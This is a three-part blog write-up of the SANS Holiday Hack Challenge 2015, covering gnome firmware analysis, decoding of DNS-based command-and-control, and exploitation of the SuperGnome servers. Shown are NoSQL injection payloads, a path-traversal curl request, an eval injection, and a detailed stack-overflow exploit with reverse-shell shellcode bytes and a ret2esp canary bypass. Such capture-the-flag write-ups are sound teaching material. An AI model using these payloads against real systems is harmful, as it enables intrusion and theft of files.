Monday, January 11, 2016

SANS Holiday Hack Challenge 2015 - Part 0x03



This post is the last of the SANS Holiday Hack Challenge 2015 series, which includes SuperGnome 05 Application Pen-Testing and part 05 of the Challenge. 

I've changed all IP addresses to localhost, because the targets used in the Challenge were using AWS, and those IPs can be assigned to other tenants.


Part 4: There’s No Place like Gnome for the Holidays: Gnome Pwnage


7) Please describe the vulnerabilities you discovered in the Gnome firmware.


sgstatd: In order to analyze the vulnerabilities in this program, I’ll add the C code found in SG-01 (sgnet.zip). The most important vulnerability found in this file is the lack of bound checking for user supplied data (buffer overflow vulnerability). In the file sgsgatd.c, the function child_menu presents an option menu with three options, however, there is a fourth option, hidden, that can be accessed with the letter “X” (ASCII character 88). Here the user can supply a message to the program, then the function calls sgstatd(). The sgstatd() function, declares a char variable “bin” with a length of 100 characters, but then calls the signet_readn() function with a pointer to “bin”, but the supplied length is “200” instead of the real length of bin. In this case the user can input a message longer than 100 bytes, resulting in a buffer overflow.

The sgstatd() adds a couple of instructions in assembly. The first one 

“ __asm__("movl $0xe4ffffe4, -4(%ebp)");”

copies the hex number “0xe4ffffe4” in an address four bytes before the address stored in the EBP register. Then, after returning from the signet_readn() function, it executes the following instruction: 

“ __asm__("movl -4(%ebp), %edx\n\t" "xor $0xe4ffffe4, %edx\n\t"  // Canary checked
                     "jne sgnet_exit");"

It moves the value of the canary to the EDX register (4 bytes before the EBP address), xor the canary value with the content of EDX (if everything is right, and the canary hasn’t changed, this should be “0”), if this is different from “0” jumps to the sgnet_exit function). The problem here is the fixed number for the canary.

Actually, the chosen canary value has a second problem that exposes another vulnerability. I’ll talk about it later in the SG-05 section.

In the C code, _CHROOT is not defined, then the chroot is not executed (this can be tested also in the sgstatd binary found in the Gnome firmware), only a chdir is executed to the “/var/run/sgstatd” directory. 

The sgstatd binary file found in the firmware of the Gnome has a couple of issues:

- It’s been compiled with -fno-stack-protector. This option disables proPolice/StackGuard during compilation, basically disabling canaries. This can be checked with the debian script “hardening-check” or running the following command “readelf -s sgstatd.protected | grep  '__stack_chk_fail’” (there is no __stack_chk_fail).

- It’s been compiled with -z execstack. This parameter disables the option “execute Disable Bit” or NX in Linux. In other words, it’s possible to run code stored in the stack. Executing the following command: “readelf -W -l sgstatd |  grep 'GNU_STACK' | grep RWE” show the following “GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4” (the E shows an executable stack), also executing “execstack -q” on the binary outputs “X”, meaning that the executable stack is required.  


8) ONCE YOU GET APPROVAL OF GIVEN IN-SCOPE TARGET IP ADDRESSES FROM TOM HESSMAN IN THE DOSIS NEIGHBORHOOD, attempt to remotely exploit each of the SuperGnomes.  Describe the technique you used to gain access to each SuperGnome's gnome.conf file.  YOU ARE AUTHORIZED TO ATTACK ONLY THE IP ADDRESSES THAT TOM HESSMAN IN THE DOSIS NEIGHBORHOOD EXPLICITLY ACKNOWLEDGES AS “IN SCOPE." ATTACK NO OTHER SYSTEMS ASSOCIATED WITH THE HOLIDAY HACK CHALLENGE."


SG-05: 

SG-05 shows a more resilient approach. Scanning the server shows the TCP port 4242 open, and the TCP port 5555 closed, but unfiltered. The Node.js application shows a better security posture. Performing a telnet or netcat to the TCP port 4242, displays the options menu from the “sgstatd” application. It’s time for a buffer overflow exploit: “Smashing the Stack for Fun and Profit!”  (phrase coined by Aleph One).

We already have the “sgstatd” binary, and most probably this means that the server is using this binary. This means three things:

- The server is a x86, 32 bits architecture.
- The binary has the NX and stack-protector security options disabled.
- The binary has a fixed and known canary value (we can check if this is true with gdb).

However, we don’t know if the server has ASLR (Address Space Layout Randomization) enabled. This is an environment security feature, and we’ll know only after attacking the target system.

Let’s first check the sgstatd binary file using gdb:

- Disable ASLR in Linux: “echo 0 > /proc/sys/kernel/randomize_va_space"
- Start gdb “sudo gdb ./sgstatd”.
- Because the server forks a child process for each connection, we need to be able to follow the child process: “set follow-fork-mode child"
- There is an “alarm(16)” function in “sgnet.c”, this alarm prevents us to break and then continue. So, let’s disable that also: “handle SIGALRM ignore"
- Now, set a break in “child_main", and run the program.
- Connect to the port 4242, and set another break in “sgstatd”. Input “X” to select the hidden option from the client (nc or telnet).
- let’s inspect the code: “disas sgstatd”:
“”"
   0x0804935d <+0>: push   %ebp
   0x0804935e <+1>: mov    %esp,%ebp
   0x08049360 <+3>: sub    $0x88,%esp
=> 0x08049366 <+9>: movl   $0xe4ffffe4,-0x4(%ebp)
   0x0804936d <+16>: movl   $0x1e,0x8(%esp)
   0x08049375 <+24>: movl   $0x8049d53,0x4(%esp)
   0x0804937d <+32>: mov    0x8(%ebp),%eax
   0x08049380 <+35>: mov    %eax,(%esp)
   0x08049383 <+38>: call   0x8048af0 <write@plt>
   0x08049388 <+43>: mov    0x804b2e0,%eax
   0x0804938d <+48>: mov    %eax,(%esp)
   0x08049390 <+51>: call   0x80489a0 <fflush@plt>
   0x08049395 <+56>: movl   $0xc8,0x8(%esp)
   0x0804939d <+64>: lea    -0x6c(%ebp),%eax
   0x080493a0 <+67>: mov    %eax,0x4(%esp)
   0x080493a4 <+71>: mov    0x8(%ebp),%eax
   0x080493a7 <+74>: mov    %eax,(%esp)
   0x080493aa <+77>: call   0x804990b <sgnet_readn>
   0x080493af <+82>: mov    -0x4(%ebp),%edx
   0x080493b2 <+85>: xor    $0xe4ffffe4,%edx
   0x080493b8 <+91>: jne    0x804933f <sgnet_exit>
   0x080493be <+97>: mov    $0x0,%eax
   0x080493c3 <+102>: leave 
   0x080493c4 <+103>: ret
“”"
- Nice!!! this binary is using the same canary: “0xe4ffffe4"
- Explore the registers and frame: “i r” and “i f”.
“”” registers
eax            0x181 385
ecx            0xb7fd08a4 -1208153948
edx            0x0 0
ebx            0xb7fcf000 -1208160256
esp            0xbffff1a0 0xbffff1a0
ebp            0xbffff228 0xbffff228
esi            0x0 0
edi            0x0 0
eip            0x8049366 0x8049366 <sgstatd+9>
eflags         0x286 [ PF SF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51
“”"
“”” Frame
Stack level 0, frame at 0xbffff230:
 eip = 0x8049366 in sgstatd; saved eip = 0x80492f4
 called by frame at 0xbffff6b0
 Arglist at 0xbffff228, args:
 Locals at 0xbffff228, Previous frame's sp is 0xbffff230
 Saved registers:
  ebp at 0xbffff228, eip at 0xbffff22c
“”"

- Set a break before the “xor” : “b *0x080493af” and fill the buffer with A's.
- Let’s inspect the frame again: “i f"

“”"
Stack level 0, frame at 0xbffff230:
 eip = 0x80493af in sgstatd; saved eip = 0x41414141
 called by frame at 0xbffff234
 Arglist at 0xbffff228, args:
 Locals at 0xbffff228, Previous frame's sp is 0xbffff230
 Saved registers:
  ebp at 0xbffff228, eip at 0xbffff22c
“”"

- We have overwritten the saved eip register with “A” (0x41). What about the canary? “x $ebp-4”: 

“ 0xbffff224: 0x41414141”. 

- We need to know the position in the stack for the bin buffer: “ x/100x $ebp-110”:

“”"
0xbffff1ba: 0x0a0db7ff 0x41414141 0x41414141 0x41414141
0xbffff1ca: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff1da: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff1ea: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff1fa: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff20a: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff21a: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff22a: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff23a: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff24a: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff25a: 0x41414141 0x41414141 0x41414141 0x41410a0d
0xbffff26a: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff27a: 0x41414141 0x0a0d0a0d 0xd0900a0d 0x81d40804
“”"

- The bin buffer starts 106 bytes before the EBP register (in our example: 0xbffff1be ), 

We have enough information to start creating our attack. We have 102 bytes for our shellcode, actually a bit more, but we’ll talk about it later.

We can try at least two types of shellcodes: bind shell or reverse bind shell. Most bind shells are longer than 85 bytes. Actually, there is one that has exactly 89 bytes, but this has two disadvantages:

- First, it’s still too long, and doesn’t fit entirely into the buffer. Let’s explain this a bit more, we can split the buffer into two segments: before the canary (102 bytes) and after the canary (86 bytes). It looks like the first part has enough room for the shellcode, however, the shellcode executes a couple of push instructions (there are approx. 18 push instructions), e.g. “ push esi”, “ push word 0x15b3”, overwriting our own shellcode (ESP register will be “0xBFFFF230” after the function epilogue, and will start pushing local variables starting on this position). In order to make enough room for our shellcode to run, we could split our shellcode into two, adding a jump forward assembly instruction (jmp short) at the end of the first part, jumping to the start of the second piece of our code.
- Second, we need an unfiltered port. We have it! it’s the port 5555, however, there are going to be many people accessing this server, so, there is a high probability that somebody will connect to the bind shell before our code does.

Let’s explore the reverse bind shell option. The code is 74 bytes long ( Author:  Julien Ahrens, Website:  http://www.rcesecurity.com), still the code is too long for the first part of the buffer (only for a couple of bytes, remember the push instructions), but good enough for the second part (the second part of the buffer is not affected by the push instructions). We can still add a jump short instruction in the first part of the buffer, in order to jump to our shellcode. 

However, we need a service that listen for the incoming connection, which means that we need a public IP address. I launched a free tier instance in AWS with a public IP address to listen for this connection, using the following script:

This script has a “while true” loop, and then echoes a set of commands to netcat to get all the files stored in the directory: "/gnome/www/files”. One more time, the script is using a base64 encoding to get all files, including binaries. 

Also, I wrote a small python program that performs the dance with the options menu of sgstatd and sends the shellcode: https://github.com/skysec/SANSHolidayHack2015/tree/master/part04/sg-05/scripts, and also fills the first part of the buffer with NOPS instruction (92 NOPS), then added a jump short instruction (eb18) to jump to the first part of the shellcode after the saved EIP:


Let’s start sgstatd with gdb:

- Insert a break before the xor in the sgstatd function : “b *0x080493af”.
- Run sgstatd, and execute the python script: " python send_rb_shellcode.py 0xbffff1be 0xbffff1be” (the python script takes two parameters, the start and end address, in hex, of the expected return addresses, then it starts increasing the return address by 64 bytes until it reaches the end address).
- Check the frame: “i f"

“”"
Stack level 0, frame at 0xbffff230:
 eip = 0x80493af in sgstatd; saved eip = 0xbffff1be
 called by frame at 0xbffff1c6
 Arglist at 0xbffff228, args:
 Locals at 0xbffff228, Previous frame's sp is 0xbffff230
 Saved registers:
  ebp at 0xbffff228, eip at 0xbffff22c
“”"

- It looks good, the saved EIP has the expected value: 0xbffff1be.
- Check the canary, “x $ebp-4”, the result is: “0xbffff224: 0xe4ffffe4”. This is perfect, we have overwritten the canary with the expected value.
- Check the first part of the buffer: “x/30x 0xbffff1be” 

“”"
0xbffff1be: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff1ce: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff1de: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff1ee: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff1fe: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff20e: 0x90909090 0x90909090 0x90909090 0x909018eb
...
“”"
- Here it is our jump instruction, let’s take a closer look: “x/5i 0xbffff218": 

“”"
   0xbffff218: nop
   0xbffff219: nop
   0xbffff21a: jmp    0xbffff234
   0xbffff21c: nop
   0xbffff21d: nop
“”"

- Take a look to the address “0xbffff234”:

“”"
0xbffff234: 0x90909090 0x6a58666a 0xd2315b01 0x026a5352
0xbffff244: 0x80cde189 0x6866b092 0x0101017f 0xd3636866
0xbffff254: 0x89536643 0x51106ae1 0x43e18952 0x026a80cd
0xbffff264: 0xb0da8759 0x4980cd3f 0x0bb0f979 0x52ca8941
0xbffff274: 0x732f2f68 0x622f6868 0xe3896e69 0x0a0d80cd
“”"

This is perfect! we can now change the target to real address and the reverse bind address to our AWS instance, and run it!. We’re going to run the script with enough address space, e.g. 0xbffff000 up to 0xbfffffff, the reason is simple, even if the system is not using ASLR, testing with gdb adds environment variables to the address space, so, we need to test different return addresses.

It didn’t work, at least, the listener didn’t receive any connection. This is not good, the server must be using ASLR. I can try a brute force attack, but we don’t have enough NOPS instructions to make it work.

Let’s try another approach, like ret2esp. For this to work, we need to find a jump %esp instruction in the text segment of the program. A quick check tells us this:

“”"
hexdump sgstatd | grep ffe4
00013b0 fc55 f281 ffe4 e4ff 850f ff81 ffff 00b8
“”"

The question is where in the text segment is located this instruction. The instructions are stored between “0x08048cbc” and “ 0x08049b13”, let’s see what can we find there: “(gdb) x/1000x 0x08048cbc”:

“”"
0x804935c <sgnet_exit+29>: 0xe58955ff 0x0088ec81 0x45c70000 0xffffe4fc
0x804936c <sgstatd+15>: 0x2444c7e4 0x00001e08 0x2444c700 0x049d5304
“”"

We’re lucky, we have found one option! to summarize, the compiler will not generate a jump to ESP instruction, but using a technique called “byte shifting”, we can just shift a couple of bytes to create the needed instruction. Let’s check this in gdb, “x/2i 0x804936b”:

"0x804936b <sgstatd+14>: jmp    *%esp"

Let’s update the python script… wait, there is no need, the script takes the return address as a parameter, and the shellcode is just after the return address, where the ESP register will point after sgstatd epilogue: “python send_rb_shellcode.py 0x0804936b 0x0804936b”. This time it worked!

Looking closely at the assembly code exposes the problem, the canary value is “0xe4ffffe4”, which is exactly the value needed to use ret2esp. The address 0x804936b is part of the sgstatd function: 

“0x08049366 <+9>: movl   $0xe4ffffe4,-0x4(%ebp)”

In this case, the use of this canary value instead of using  the stack-protector option in gcc was even worst, because it created another vulnerability. 

The scripts used can be found here: https://github.com/skysec/SANSHolidayHack2015/tree/master/part04/sg-05/scripts, and the files are:

  • 20151215161015.zip
  • factory_cam_5.zip 
  • gnome.conf 
  • gnome_firmware_rel_notes.txt 
  • sgnet.zip 
  • sniffer_hit_list.txt

Gnome Serial Number: 4CKL3R43V4 

Part 5: Baby, It’s Gnome Outside: Sinister Plot and Attribution.

9) Based on evidence you recover from the SuperGnome’ packet capture ZIP files and any staticky images you find, what is the nefarious plot of ATNAS Corporation?

The plot is simple, deploy over 2 millions gnomes around the globe, controlled by 5 SuperGnomes, take pictures of different parts of the house, and then on December 24th, send burglars to steal items from those houses. The gnome hardware is composed by:


+ Ambarella S2Lm IP Camera Processor System-on-Chip (with an ARM Cortex A9
CPU and Linux SDK)

+ ON Semiconductor AR0330: 3 MP 1/3" CMOS Digital Image Sensor

+ Atheros AR6233X Wi-Fi adapter

+ Texas Instruments TPS65053 switching power supply

+ Samsung K4B2G16460 2GB SSDR3 SDRAM
+ Samsung K9F1G08U0D 1GB NAND Flash

As described in an email between “CW” (ATNAS Corp) and an electronic supplier.

With all those gnomes deployed globally, on the morning of December 24th, an email will be sent to a list of burglars, detailing an itinerary of specific houses and an inventory of items to steal from each house, including a set of photos of where are the items located. This will be performed the night of December 24th, 2015 after dark. In case they get caught by a children, the burglars must say that they are "Santy Claus”. The sale will be 50-50 with each burglar. The name ATNAS is the reverse of SANTA, instead of bringing presents, they will steal!.

The evidence is based on the following communications:

- Email between “c@atnascorp.com” and “ jojo@atnascorp.com”. Joji is in charge of creating the Gnome Architecture. The email includes the following image: 



depicting the architecture.

- Email between “c@atnascorp.com” and “supplier@ginormouselectronicssupplier.com”. In this email,  CW asks this supplier for all the hardware pieces needed to build the gnomes.

- Email between “c@atnascorp.com” and “ burglerlackeys@atnascorp.com”. In this email, CW tells the burglars the instructions for December 24th, and how to proceed in case they are discovered by a children.

All the above email were extracted from the PCAP files found in the SuperGnomes 01 - 03. Showing a SMTP communication using the TCP port 2525 (different from the standard port: 25).

10) Who is the villain behind the nefarious plot.

The villain is:  Cindy Lou Who, the girl from “How the Grinch Stole Christmas” (Dr. Seuss), that found the Grinch stealing all the Christmas presents in her home. She was affected by this act, and vowed to finish what the Grinch had started. 

Evidence:

- Email between “c@atnascorp.com” and “ psychdoctor@whovillepsychiatrists.com”, describing to the Doctor her anxiety about the holiday season, and signing the email with: “Cindy Lou Who”.
- POP3 session recovering an email from the Grinch (“grinch@who-villeisp.com") to “c@atnascorp.com”: In this email, the Grinch writes to apologize for what he did to Cindy. 
- Image recovered after processing the 5 images found in the SuperGnomes and the “camera_feed_overlap_error.png”. Based on the messages found in the GnomeNet, where they were talking about a technical issue with the cameras, indicating a potential pixel xored issue with images with the same name. Using a python script https://github.com/skysec/SANSHolidayHack2015/tree/master/part05/scripts with the opencv library, the final image was recovered, showing an older Cindy Liu (now 62 years old):




In order to recover the image, a bitwise xor was performed between all images and the camera_feed_overlap_error.png image. 

SANS Holiday Hack Challenge 2015 - Part 0x02



This post is the second of the SANS Holiday Hack Challenge 2015 series, which includes part 04 of the Challenge, specifically Web Application Pen-Testing to the SuperGnomes: 01, 02, 03 and 04. I've left the SuperGnome 05 for the next post, because it requires a different approach.

I've changed all IP addresses to localhost, because the targets used in the Challenge were using AWS, and those IPs can be assigned to other tenants.


Part 4: There’s No Place like Gnome for the Holidays: Gnome Pwnage

7) Please describe the vulnerabilities you discovered in the Gnome firmware.

- Passwords are stored in the Database in clear text. As previously shown, the passwords are stored in clear text, it’s not using a Salt value with a one-way function, e.g. PBKDF2.

- route/index.js: 
  • router.post(“/“): The Login function uses unsanitized user supplied data in a mongodb query: “ db.get('users').findOne({username: req.body.username, password: req.body.password}, function (err, user)”. Changing the username and/or password values to something like ‘{“$gt”:””}’ or ‘{“$ne”:””}’ will result in the following mongodb query: “db.users.findOne({username: “admin”, password: {“$ne”:””} })”, returning the admin JSON object. A better approach is shown below (but, commented out):  db.get('users').findOne({username: (req.body.username || "").toString(10), password: (req.body.password || "").toString(10)}, function (err, user) “. The method “toString()” escapes special character from the user data, e.g. "{'$ne':''}".toString(10)” results in  '{\'$ne\':\'\’}'.
  • router.post(“/settings’): This function creates a directory based on user supplied data in the parameter “filen”:
          “”"
           var filen = req.body.filen;
           var dirname = '/gnome/www/public/upload/' + newdir() + '/' + filen;
           ...
           fs.mknewdir(dirname.substr(0,dirname.lastIndexOf('/')));
          “”"

The newdir() function returns a random value (8 characters) and fs.mknewdir() creates a directory with the path provided as a parameter (it creates all directories needed to comply with the dirPath parameter). The problem is the user supplied data as an input to fs.mknewdir(), the variable “filen” can have any value, including “newDir/data/file” or even worst “../../../newDir/file”. As a result, an attacker can provide a directory with a specific path to be created (as long as the node.js process has permissions to write to the provided path).

  • router.post(“/files”): This function executes an eval() function on user supplied data:
          “”"
           var postproc_syntax = req.body.postproc;
             …..
           result = eval('(' + postproc_syntax + ')');
          “”"

The eval() function executes JavaScript code/expressions. In this particular case, if the user supplied data, in the “postproc” parameter, is JavaScript code, then eval() will execute this code, and store its result in the “result” var. 

  • router.get(‘/cam’): There is a potential LFI in this function:

          “”"
           var camera = unescape(req.query.camera);
           //if (camera.indexOf('.png') == -1) // STUART: Removing this...I think this is a better solution... right?
       camera = camera + '.png'; // add .png if its not found
          ...
       fs.access('./public/images/' + camera, fs.F_OK | fs.R_OK, function(e)
          “”"


The code is adding a “.png” extension to the user supplied data (camera), and later is verifying the existence of the supplied value concatenated to  “./public/images/". First, this code is vulnerable to PATH transversal, submitting something like this: “../../../../etc/../gnome/www/public/images/1” works. 

A better approach could be to validate the user supplied input against the content of “./public/images”.  However, it’s still not easy to exploit this vulnerability, because node.js doesn’t have the termination null () problem as PHP does. There is an interesting piece of code, but it’s commented out: “if (camera.indexOf('.png') == -1)”, If this piece of code is enabled, then the vulnerability is easier to exploit, because this code is only checking for the presence of “.png” in the camera variable, but the extension could be anywhere in the path: “../foo.png/../files/“ (indexOf() returns the index of the first occurrence  of the specified value, and -1 means that the value is not found).  


8) ONCE YOU GET APPROVAL OF GIVEN IN-SCOPE TARGET IP ADDRESSES FROM TOM HESSMAN IN THE DOSIS NEIGHBORHOOD, attempt to remotely exploit each of the SuperGnomes.  Describe the technique you used to gain access to each SuperGnome's gnome.conf file.  YOU ARE AUTHORIZED TO ATTACK ONLY THE IP ADDRESSES THAT TOM HESSMAN IN THE DOSIS NEIGHBORHOOD EXPLICITLY ACKNOWLEDGES AS “IN SCOPE." ATTACK NO OTHER SYSTEMS ASSOCIATED WITH THE HOLIDAY HACK CHALLENGE."

- SG-01: 

The username and password found in the gnome database are enough to download all files from the “files” section:

  • 20141226101055.zip (PCAP file)
  • camera_feed_overlap_error.zip (png file)
  • factory_cam_1.zip (png file)
  • gnome.conf
  • gnome_firmware_rel_notes.txt
  • sgnet.zip (sgstatd source code)
  • sniffer_hit_list.txt

Gnome Serial Number: NCC1701

- SG-02: 

The username and password retrieved from the gnomeDB were used to access the SuperGnome. However, this time I couldn’t just download all files from the files menu, because the system prevented me to download those file (it was disabled). 

However, using the configuration upload form from the settings menu, I created a directory with a “.png” in the middle of the name:

"curl -v -b data  -d "filen=..%2Fdir.png%2Fdata" -d "file=gnome.conf"  http://${IP}/settings"

Where data is a valid cookie. With the above script, the system created the directory “dir.png” in “/gnome/www/upload/". Then using the following script I was able to download all files from the files menu:


The vulnerabilities exploited are: "router.post(“/settings’)”, which allow me to create a directory with a custom name (“dir.png”) and "router.get(‘/cam’)” using a LFI. The problem was that “if (camera.indexOf('.png') == -1)” was enabled. 

The script used can be found here: https://github.com/skysec/SANSHolidayHack2015/tree/master/part04/sg-02/scripts, and the files are:

  • 20150225093040.zip 
  • factory_cam_2.zip 
  • gnome.conf 
  • gnome_firmware_rel_notes.txt 
  • sgnet.zip 
  • sniffer_hit_list.txt

Gnome Serial Number:  XKCD988

- SG-03: 

I couldn’t authenticate using the username and password retrieved from the Gnome database. So, I crafted and sent a new form with username and password using a JSON body as follow:


This was possible due to the vulnerability found in the authentication function, as explained in the previous question: “ db.get('users').findOne({username: req.body.username, password: req.body.password}, function (err, user)"

The script used can be found here: https://github.com/skysec/SANSHolidayHack2015/tree/master/part04/sg-03/scripts, and the files are:

  • 20151201113356.zip 
  • factory_cam_3.zip 
  • gnome.conf 
  • gnome_firmware_rel_notes.txt 
  • sgnet.zip 
  • sniffer_hit_list.txt

Gnome Serial Number: THX1138 

- SG-04: 

The file section has the file upload option enable. This section has a vulnerability in an eval() function, with the postproc parameter. I was able to craft a request with JavaScript code in this parameter to include the files in the /gnome/www/files directory in the response, using the result var:



The JavaScript reads a file, using the synchronous version of readFile(), and encodes the result using BASE64. The result of this code is stored in the variable “result”, which is sent back to the client as part of the server response in HTML. The advantage of base64, is the ability to download binaries files as part of the HTML response page.Then a bit of “prost-processing”, parsing the HTML to retrieve the base64 data, and decode the base64.

The scripts used can be found here: https://github.com/skysec/SANSHolidayHack2015/tree/master/part04/sg-04/scripts, and the files are:

  • 20151203133815.zip 
  • factory_cam_4.zip 
  • gnome.conf 
  • gnome_firmware_rel_notes.txt 
  • sgnet.zip 
  • sniffer_hit_list.txt

Gnome Serial Number: BU22_1729_2716057  


SANS Holiday Hack Challenge 2015 - Part 0x01



Christmas means many things to many people, in my case, this an excellent season to share with my family and friends, but also, it's the perfect time for a security challenge. I really enjoyed SANS Holiday Challenge 2013, and even if I couldn't participate in 2014, and was expecting this year Challenge.

I was right, the Counter Hack Team did an excellent job: https://www.holidayhackchallenge.com/, creating an amazing plot, 8bits video game and a technical challenge that included: network/firmware forensic, Web Application with NoSQL Pen-Testing, and a C application Pen-Testing. 

This post is the first of the SANS Holiday Hack Challenge 2015 series, which includes part 01, 02 and 03 of the Challenge. I've changed all IP addresses to localhost, because the targets used in the Challenge were using AWS, and those IPs can be assigned to other tenants.

I’ll start each section with a short answer to the questions, and then provide a more technical explanation. 

Part 1: Dance of the Sugar Gnome Fairies: Curious Wireless Packets


1) Which commands are sent across the Gnome’s command-and-control channel?


There is a command exchange between the gnome and a super gnome (GS-01), using DNS queries with TXT type records encoded with base64. The main commands are:

- NONE: nothing to execute- EXEC: execute an internal command (application), like: iwconfig, cat /tmp/iwlistscan.txt- FILE: retrieve a file from the gnome.  FILE:/root/Pictures/snapshot_CURRENT.jpg


2) What image appears in the photo the Gnome sent across the channel from the Dosis home?

It’s a photo of the Dosis’ room, taken from the gnome:





John Dosis provided me with the pcap file in the Dosis Neighborhood. The pcap file contains two types of traffic: 802.11 exchange between client and Access Point (Probe request and Beacon Frame) and DNS (UDP, port 53) between the gnome (10.42.0.18) and the gnome Server. 

Let’s focus on the DNS query exchange. The client (gnome) continuously queries a “DNS server” with the following information: “cmd.sg1.atnascorp.com: type TXT, class IN”, and the server responds with a TXT record, e.g.: "TXT:  Tk9ORTo=“. The TXT is a standard type, however, the weird part is the content of the TXT record. The presence of the “=“ symbol aims to a possible BASE64 encoding. In order to find out, we cam simple send this string to openssl base64:

echo "Tk9ORTo=" | openssl base64 -d ; echo

This results with the following string: “NONE:"

Trying a couple more of TXT records, we can find the following strings:

RVhFQzppd2NvbmZpZwo=: EXEC:iwconfig

With this command things become more interesting, because the client (gnome) starts sending TXT responses to the Server (Supergnome) as a standard DNS TXT response (but client to server, instead of server to client):

RVhFQzpTVEFSVF9TVEFURQ==: EXEC:START_STATE

Instead of continuing testing all posible base64 strings, a better approach is to filter only the DNS flow, and create a new PCAP file with this flow, and use scapy to automate the recovery. With the support of scapy and python, the recovery of the base64 commands and responses is very easy. The script can be found here: https://github.com/skysec/SANSHolidayHack2015/tree/master/part01/scripts.
It takes three parameters: <path to the cap file> <path to the results file> <operation mode>.

There are two operations mode: “command” and “image”. Executing the script with operation mode “command", recovers all commands with the corresponding base64 strings. After decoding all base64 strings, there is a command that ask the gnome to send the current image: “FILE:/root/Pictures/snapshot_CURRENT.jpg”, for this reason, the recoverData.py script includes an option to decode the image included in the PCAP file. 

As a side note, there is another weird thing, but this time in the 802.11 traffic. The gnome is using a Network with the ESSID “DosisHome-Guest”, but most of the probes and requests are performed with the network “December”. However, in the iwscanlist  only shows the following networks: 

- ESSID: “CHC”, Encryption: On, Channel: 1- ESSID: “DosisHome”, Encryption: On, Channel: 6- ESSID: “DosisHome-Guest”, Encryption: Off, Channel: 6

Also, the iwconfig shows that the gnome is connected to the "DosisHome-Guest” network, which makes sense based on the information extracted from the firmware. 

Part 2: I’ll be Gnome for Christmas: Firmware Analysis for Fun and Profit

3) What operating system and CPU type are used in the Gnome? What type of Web framework is the Gnome web interface built in?

The operating System is based on Linux (OpenWRT, Bleeding Edge, r47650) with an ARM CPU. OpenWRT is a Linux distribution for embedded devices.

The Web Framework is a Server Side JavaScript system: Node.JS.

4) What kind of a Database engine is used to support the Gnome web interface? What is the plaintext password stored in the Gnome database?

The Database used is a NoSQL database: MongoDB. The plaintext password stored in the database is: “SittingOnAShelf”, for the user: “admin".

With the help of Jessica, in the Dosis Neighborhood, I downloaded the Gnome’s firmware (sha256):
bee93a79bb8ee2eba526494b4e6e56a601e1fa9589a1cccf7bfe61261ab8db20  giyh-firmware-dump.binExecuting “strings” on the image (strings giyh-firmware-dump.bin) shows a PEM encoded certificate and boot loader information. Reviewing the Certificate with openssl (openssl x509 -in cert.pem -noout -text), shows a self-signed x509 v3 Certificate with the following information:

- Issuer (same as subject): “O=ATNAS Corporation"- Not before:  "Nov 28 12:25:45 2015 GMT"- Not After: “Nov 25 12:25:45 2025 GMT"- Public Key: RSA 4096 bits

In order to extract more information, “binwalk”, is extremely helpful. Binwalk shows the following information (“./part02/files/binwalk.info"):

- 0 (0x0): PEM Certificate- 1809 (0x711): “ELF 32-bit LSB shared object, ARM, version 1"- 168803 (0x29363): “ Squashfs filesystem, little endian, version 4.0, compression:gzip, size: 17376149 bytes,  4866 inodes, blocksize: 131072 bytes, created: Tue Dec  8 18:47:32 2015"

This is a lot better, with “strings" the first two sections can be known, but now with the information obtained using binwalk,  it’s possible to extract the third section (squashfs). This is a job for “dd”, skip the first two sections, and then write the rest of the firmware image into a new file:

"dd if=giyh-firmware-dump.bin of=filesystem.squashfs bs=1 skip=168803"

This will take a long time (using one byte block size). This is very slow, but in order to speed up the process, it’s necessary to increase the block size, which means finding a number that can divide “168803” and the rest of the image (17376149), making this task very hard. 

After extracting the squashfs image (“filesystem.squashfs”), we can mount it using the following commands:

mkdir firmware_dirsudo mount -o loop filesystem.squashfs firmware_dir

Stepping into “firmware_dir” shows a POSIX based system. The “/etc” has most system configurations, a couple of files: “openwrt_release” and “openwrt_version”. Openwrt is a Linux distribution for embedded devices. 

The “/etc/hosts” contains the IP address of the Supergnome 01:

- “A.B.C.D    supergnome1.atnascorp.com sg1.atnascorp.com supergnome.atnascorp.com sg.atnascorp.com"

With a comment: “# LOUISE: NorthAmerica build”. This Supergnome (SG1) is for North America, so, there should be more of them around the globe. 

Let’s step into “init.d”, here there are five custom scripts with comments: mongod, nodejs, autowlan, sgstatd, sgstatd and sgdnsc2. It looks like: Stuart, Auggie, Louise and Nedford, have written these scripts. These scripts include the path of the executable commands. Let’s take a look:

- mongod: Looks like a standard mongo server program for ARM architectures: “ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV)”. The config file is located in “/etc/mongod.conf” and has the path of the “db” directory: “/opt/mongodb”. We’ll look at it later.- nodejs: The program path is located in “/www/bin/www”, where “/www” is a standard directory estructure for a node.js application, including a package.json. - autowlan: This is a shell script with a loop (while true) that scans wireless network available, and tries to connect to open networks (encryption key: off). This explains how the Gnome connects from every home to the Supergnomes. - sgdnsc2: This is a binary file: “ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV)” located in "/usr/bin”. Let’s run “strings” against this file:

“""Server specified NONE action.Server specified EXEC action.Failed to execute the command requested.Server specified FILE action.Control server says HELLO. Entering command mode.Connection could not be made. Sleeping.reply.willingvictim.comcmd.willingvictim.comcheck.willingvictim.com172.16.240.129HELLO:NONE:EXEC:FILE:EXEC:START_STATEEXEC:STOP_STATEFILE:START_STATE,NAME=FILE:STOP_STATE“""

This is the binary that performs the communication with the SuperGnome using DNS as a supporting protocol. 

